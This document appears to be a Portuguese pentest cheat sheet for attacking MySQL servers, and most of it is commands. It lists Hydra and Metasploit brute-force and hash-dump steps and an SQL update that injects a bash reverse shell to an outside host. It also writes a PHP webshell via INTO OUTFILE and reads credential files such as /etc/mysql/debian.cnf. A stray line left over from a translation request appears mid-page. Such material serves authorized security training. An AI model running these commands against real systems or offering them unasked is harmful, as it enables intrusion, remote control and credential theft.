Skip to main content

Mysql | Solyd One | Ataque específicos

  • Mysql | Solyd One | Ataque específicos

info

Informações essencias

  • Porta: 3306
  • Usuário Default: root
  • Senha: não tem senha
  • Formato da Url: mysql://<username>:<password>@<hostname>:<port>/<database_name>
  • Ver versão do Mysql: mysql -V

Comandos básicos de conexão

mysql -u <username>
#specified username
#no password

mysql -u <username> -p
#with password

mysql -u <username> -p <database_name>
#specified database

mysql -u <username> -h <hostname> -P <port> -p
#specified hostname
#specified port

mysql -u <username> -h <hostname> -P <port> -p -D <database_name>
#specified database (-D)

Hydra - Mysql

hydra -L usuarios-mysql.txt -P <(head -n 300 passwords.txt) -f -t 16 -v  mysql://X.X.X.X

Nmap - Mysql

  • Validar se no host específico tem algum serviço Mysql
nmap -p 3306 X.X.X.X

Metasploit

msf> use auxiliary/scanner/mysql/mysql_version #version detection
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump #auth bypass dump
msf> use auxiliary/scanner/mysql/mysql_hashdump #password hashes
msf> use auxiliary/admin/mysql/mysql_enum #user enumeration
msf> use auxiliary/scanner/mysql/mysql_schemadump #schema dumping
msf> use exploit/windows/mysql/mysql_start_up #command execution

Brute Forcing

use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > set rhosts X.X.X.X
msf auxiliary(scanner/mysql/mysql_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/mysql/mysql_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/mysql/mysql_login) > set stop_on_success true
msf auxiliary(scanner/mysql/mysql_login) > exploit
  • Descobrir se tem serviço rodando e qual versão
nc -nv X.X.X.X 3306

Vetores de ataque

Credenciais

  • Credenciais comum: admin, administrator, root, user, ou test
mysql -u root -p

#enter default or guessable password

Pós Exploração

Aqui está a tradução completa para Português (pt-BR) do conteúdo que você trouxe:


Comandos Comuns do MySQL

Esta tabela fornece uma visão clara da função de cada comando no MySQL e como eles são usados, cobrindo um amplo espectro de tarefas de administração de banco de dados.

ComandoDescriçãoUso
SHOW DATABASES;Lista todos os bancos de dados no servidor MySQL.SHOW DATABASES;
USEAlterna para um banco de dados específico.USE nome_do_banco;
SHOW TABLES;Mostra todas as tabelas no banco de dados atual.SHOW TABLES;
SHOW COLUMNS FROMLista todas as colunas de uma tabela específica.SHOW COLUMNS FROM nome_tabela;
SELECTRecupera dados de uma tabela.SELECT * FROM nome_tabela;
INSERT INTOInsere um novo registro em uma tabela.INSERT INTO nome_tabela (coluna1, coluna2) VALUES (valor1, valor2);
UPDATEAtualiza registros de uma tabela que atendam à condição.UPDATE nome_tabela SET coluna1 = valor1 WHERE condição;
DELETE FROMRemove registros de uma tabela que atendam à condição.DELETE FROM nome_tabela WHERE condição;
CREATE DATABASECria um novo banco de dados.CREATE DATABASE nome_do_banco;
DROP DATABASEApaga um banco de dados.DROP DATABASE nome_do_banco;
CREATE TABLECria uma nova tabela.CREATE TABLE nome_tabela (coluna1 tipo, coluna2 tipo);
DROP TABLEApaga uma tabela.DROP TABLE nome_tabela;
ALTER TABLE ADDAdiciona uma nova coluna a uma tabela.ALTER TABLE nome_tabela ADD nome_coluna tipo;
ALTER TABLE DROP COLUMNRemove uma coluna de uma tabela.ALTER TABLE nome_tabela DROP COLUMN nome_coluna;
GRANTConcede privilégios a um usuário em um banco de dados.GRANT ALL PRIVILEGES ON nome_do_banco.* TO 'usuario'@'localhost' IDENTIFIED BY 'senha';
REVOKERevoga privilégios de um usuário em um banco de dados.REVOKE ALL PRIVILEGES ON nome_do_banco.* FROM 'usuario'@'localhost';
SHOW GRANTS FORMostra todos os privilégios de um usuário.SHOW GRANTS FOR 'usuario'@'localhost';
FLUSH PRIVILEGES;Recarrega as tabelas de privilégios, aplicando mudanças imediatamente.FLUSH PRIVILEGES;

⚠️ ATENÇÃO: As seções a seguir descrevem exemplos de exploração e uso malicioso em cenários de injeção SQL e pós-exploração. Essas técnicas são usadas em testes de penetração (pentest) ou por atacantes. Use somente em ambientes de laboratório controlados e com autorização explícita.


Executando um Reverse Shell por Injeção de Comando SQL

Exemplo de atualização de e-mail de um usuário em um banco para executar um reverse shell, mostrando o risco de injeção de comandos em operações SQL:

mysql> UPDATE hackviserdb.users 
SET email='hackviser@shell|| bash -c "bash -i >& /dev/tcp/<ip>/<porta> 0>&1" &'
WHERE name LIKE 'user%';

Executando Comandos via Operações de Leitura/Escrita em SQL

📖 Leitura de arquivos

A função load_file permite ler o conteúdo de arquivos do sistema onde o MySQL roda. Exemplo para ler uma chave:

SELECT load_file('/var/lib/mysql-files/key.txt');

Isso lê o conteúdo do arquivo key.txt na pasta do MySQL.


✍️ Escrita de arquivos

Com INTO OUTFILE, é possível gravar dados em arquivos no servidor. Exemplo para criar um webshell PHP:

SELECT 1,2,"<?php echo shell_exec($_GET['command']);?>",4,5 
INTO OUTFILE '/var/www/html/shell.php';

Isso gera um shell.php que, quando acessado via navegador, executa comandos passados pela URL.


Acessando Credenciais do MySQL em Arquivos do Sistema

🔑 Usuário de manutenção Debian

O arquivo /etc/mysql/debian.cnf contém em texto puro a senha do usuário debian-sys-maint, usado pelo sistema para gerenciar o MySQL.

cat /etc/mysql/debian.cnf

🔐 Hashes de usuários MySQL

As senhas (hashes) dos usuários ficam em /var/lib/mysql/mysql/user.MYD. Exemplo de extração com grep:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Esses hashes podem ser usados em ataques de quebra de senha.